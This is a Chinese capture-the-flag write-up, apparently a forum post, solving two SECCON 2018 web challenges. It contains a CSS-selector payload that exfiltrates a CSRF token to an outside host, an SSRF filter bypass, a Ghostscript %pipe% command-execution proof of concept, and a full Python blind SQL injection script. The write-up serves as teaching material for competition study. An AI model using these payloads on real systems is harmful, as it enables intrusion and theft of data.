ghostkingdom

SEECON 2018 唯一的一道 Web 题,不过确实挺好玩的。。

首先打开题目链接:http://ghostkingdom.pwn.seccon.jp/FLAG/

很明显我们需要 getshell 或者是执行相应的 ls /var/www/html/FLAG 命令,列出目录下的文件

然后我们继续往下看题目的功能,首先是最基本的 注册 / 登录:

进来之后是个很明显的菜单界面:

功能如下:

  • Message to admin
  • Take a screenshot
  • Upload image(only localhost)

然后我们来具体看每项功能:

Message to admin

可以看到第一项功能是向管理员发送消息,我们可以构造两种消息: NormalEmergency:

但二种本质上是一样的,都是通过 URL 来传递相应参数,我们可以看到 http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=233&action=msgadm2 和对应的源代码:

<!DOCTYPE html
    PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja">
<head>
<title>SECCON 2018</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body bgcolor="black">
<!-- by KeigoYAMAZAKI, 2018.08.31- --><style>h2{border:double #668ad8;border-width:6px 0 6px 0;padding:10px;color:#668ad8} .main{background-color:#e1e1e1;color:black;width:85%;padding:60px;margin:40px auto;border:2px solid #C6B665}.msg{padding:15px;border:1px solid black} .ok{color:blue} .warn{color:orange} .err{color:red} .green{background-color:lightgreen} .btn{background:#668ad8;color:white;padding:0.5em;margin:10px} .sshot{border:2px solid white}</style><img src="seccon2018_logo.png"><div class="main"><form action="?" method="get"><style>span{background-color:red;color:yellow}</style>
<span class="msg">Message: 233</span>
<input type="hidden" name="csrf" value="4b51b0980ba510e7f713da">
<input type="hidden" name="action" value="msgadm3">
<input type="submit" class="btn" value="Send to admin">

很明显 css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9 对应的是字符串 span{background-color:red;color:yellow},而 msg=233 对应 Message: 233。这里想直接进行 html 标签的注入,但很遗憾发现 <> 会被转义:

<form action="?" method="get"><style>&lt;/sytle&gt;
</style>
<span class="msg">Message: &lt;/span&gt;</span>

那么 xss 的注入点被限制到了很小的范围,我们仅能通过 <style>span {background: url(xxx)}</style> 的方式发起特定的 GET 请求,虽然看上去用处不大,但会在后续的解题中使用。

Take a screenshot

第二项功能比较简单,程序会去访问你指定的 URL 并将相应的结果返回:

很明显,这里存在着 SSRF,我们可以通过该操作触发服务端的访问,如通过访问 http://localhost 来查看从 localhost 端登录的效果,但这里存在着一个限制:

You can not use URLs that contain the following keywords: 127, ::1, local

绕过的方式有很多种,我用来 http://0.0.0.0 来绕过该限制:

XSS + SSRF

我们现在已知了本题存在的两个利用点:XSS 和 SSRF,下面需要思考的是利用这两个点来做什么文章。

很明显,我们需要想办法让我们在题目环境外访问到 Upload image 这项功能,通过尝试之后发现通过 X-Forwarded-For 等 header 无效,也无法通过 SSRF 来间接访问,因为相应的回显仅仅是一张截图,无法进行任何操作。

此时,我们关注到这么一个现象,即我们的 Cookie: CGISESSID=405b0d4750c3371e26f519 和 Preview 页面的 csrf token 一致,那么是不是等价于我们只要获得了相应的 csrf token,即可通过修改 cookie 的方式切换登录的状态。

此时想到了 Google CTF 一道题 cat chat 的思路,利用 css 选择器进行 xss,泄露出页面的敏感信息。在这里,我们需要泄露的敏感信息是 <input type="hidden" name="csrf" value="48cab678ef3b27b008e60d"> 标签的 value 信息,所以我们可以这样来写 payload:

input[value^="0"] {background: url(http://server?csrf=0)}
input[value^="1"] {background: url(http://server?csrf=1)}
input[value^="2"] {background: url(http://server?csrf=2)}
input[value^="3"] {background: url(http://server?csrf=3)}
input[value^="4"] {background: url(http://server?csrf=4)}
input[value^="5"] {background: url(http://server?csrf=5)}
input[value^="6"] {background: url(http://server?csrf=6)}
input[value^="7"] {background: url(http://server?csrf=7)}
input[value^="8"] {background: url(http://server?csrf=8)}
input[value^="9"] {background: url(http://server?csrf=9)}
input[value^="a"] {background: url(http://server?csrf=a)}
input[value^="b"] {background: url(http://server?csrf=b)}
input[value^="c"] {background: url(http://server?csrf=c)}
input[value^="d"] {background: url(http://server?csrf=d)}
input[value^="e"] {background: url(http://server?csrf=e)}
input[value^="f"] {background: url(http://server?csrf=f)}

只要 value 的值和猜测中的一项成功匹配,我们即可从自己的服务器接收到相应数据,然后每次猜测 csrf token 的一位,共需猜解 22 位。但由于 Send to admin 功能是无效的,我们必须用第二部分介绍的 SSRF 触发 XSS 操作。

为了方便操作,可以利用 python 帮助我们构造 payload:

def getBase64(s):
    z = []
    for i  in  '0123456789abcdef':
        st = s + i
        z.append('input[value^="{}"] {{background: url(http://server?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

def formatURL(s):
    return "http://0.0.0.0/?css={}&action=msgadm2".format(s)

formatURL(getBase64(''))

PS:不知道为什么我爆到前 14 位就会卡住,所以后 8 位可以从尾部开始匹配:

def getBase64(s):
    z = []
    for i  in  "0123456789abcdef":
        st =   i+s
        z.append('input[value$="{}"] {{background: url(http://5ax2cw.ceye.io?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

操作过程如下:

  1. 通过 SSRF 访问 http://0.0.0.0/?user=密码&pass=账号&action=login 在服务端登录
  2. 通过 SSRF 访问 http://0.0.0.0/?css=payload&action=msgadm2 触发 XSS,逐个字节爆破你的 cookie

(PS:之所以要先登录是因为你想要获得的是你在 localhost 状态下的 cookie,所以你必须在远端触发一次登录操作

成功获得 cookie: 405b0d4750c3371e26f519

GhostScript

现在我们终于可以上传图片了,首先任意上传一张错误的图片:

然后尝试触发 Convert to GIF format,得到报错:

convert: Not a JPEG file: starts with 0x62 0x6f `/var/www/html/images/05b12f2ee7ee7192e645c705fe50d1dc.jpg' @ error/jpeg.c/JPEGErrorHandler/316. convert: no images defined `/var/www/html/images/05b12f2ee7ee7192e645c705fe50d1dc.gif' @ error/convert.c/ConvertImageCommand/3046. 
/images/05b12f2ee7ee7192e645c705fe50d1dc.gif

根据报错搜索可以得到相应程序使用的库:imagemagick,然后继续搜索 imagemagick 相关的漏洞,得到 Ghostscript命令执行漏洞,结合题目标题 ghostkingdom,很明显地提示了相应考点:ghostscript 的命令执行。

于是从网上借鉴一个 POC:

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops

列出目录后得到 flag 文件名为 FLAGflagF1A8.txt,继续构造,获得 flag

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops

总结

本题结合了 XSS / SSRF / GhostScript 命令执行漏洞,环环相扣,可以说是非常有趣了。另外听说貌似还有道表面 Reverse 题,考的是 SQL 注入,有空做了继续贴在这里。。

Shooter

当初以为这道题既然只挂了 RE,肯定还是道 Reverse 题目,没想到后半部分还真的是道 Web,坑队友了…当时说账户密码是不是还藏在 apk 文件里什么的…

前面 Re 的部分不再赘述(毕竟不会),我们来看后半部分的 SQL 注入部分。首先是关注到这样一个链接:http://staging.shooter.pwn.seccon.jp/admin/sessions/new ,是个登录界面:

由于是复现的就只关注写脚本了,哪位大佬能告诉我是怎么 fuzz 出注入点的,完全不会(哭泣

总之在 password 使用 '))) union select 1# 可以登录成功,但很明显的由于没有回显,所以只能尝试盲注。可以注意到 '))) union select 1#'))) union select NULL# 是两种不同的结果,前者显示登录成功,后者则是回到该页面继续登录,所以可以根据这一特点进行盲注,盲注脚本如下:

import string
import requests
from bs4 import BeautifulSoup

s = requests.Session()

def judge(text):
    return len(text) < 1772

def get(url):
    return s.get(url)

def post(url, data):
    return s.post(url, data=data)

def test(payload):
    text = get('http://staging.shooter.pwn.seccon.jp/admin/sessions/new').text
    html = BeautifulSoup(text, 'lxml')
    inputs = html.find_all('input')
    csrf_token = inputs[1]['value']

    data = {
        'authenticity_token': csrf_token,
        'login_id': 'admin',
        'password': payload,
        'commit': 'Login'
    }

    return post('http://staging.shooter.pwn.seccon.jp/admin/sessions', data)

def blind_inject(s):
    r = ''
    while True:
        left = 0
        right = 128
        while left <= right:
            mid = (left + right) // 2
            c = chr(mid)
            if c == "'" or c == "#":
                mid += 1
                c = chr(mid)
            payload = s.format(len(r)+1, c)
            if judge(test(payload).text):
                left = mid + 1
            else:
                right = mid - 1
        if left == 0 or left == 32:
            break
        else:
            print(left)
        r += chr(left)
        print(r)
    return r

def main():
    # database: SHOOTER_STAGING
    # blind_inject("'))) union SELECT if(SUBSTR(database(),{},1) > '{}', 1, NULL)#")
    #
    # table: AR_INTERNAL_METADATA,FLAGS ...
    # blind_inject("'))) union SELECT if(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{},1) > '{}', 1, NULL)#")
    #
    # column: ID,VALUE,CREATED_AT,UPDATED_AT
    # blind_inject("'))) union SELECT if(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flags'), {},1) > '{}', 1, NULL)#")
    #
    # flag
    blind_inject("'))) union SELECT if(substr((SELECT value FROM flags where id = 1), {},1) > '{}', 1, NULL)#")

if __name__ == '__main__':
    main()

最后获得 flag:SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}

参考文章

点击收藏 | 0 关注 | 1
登录 后跟帖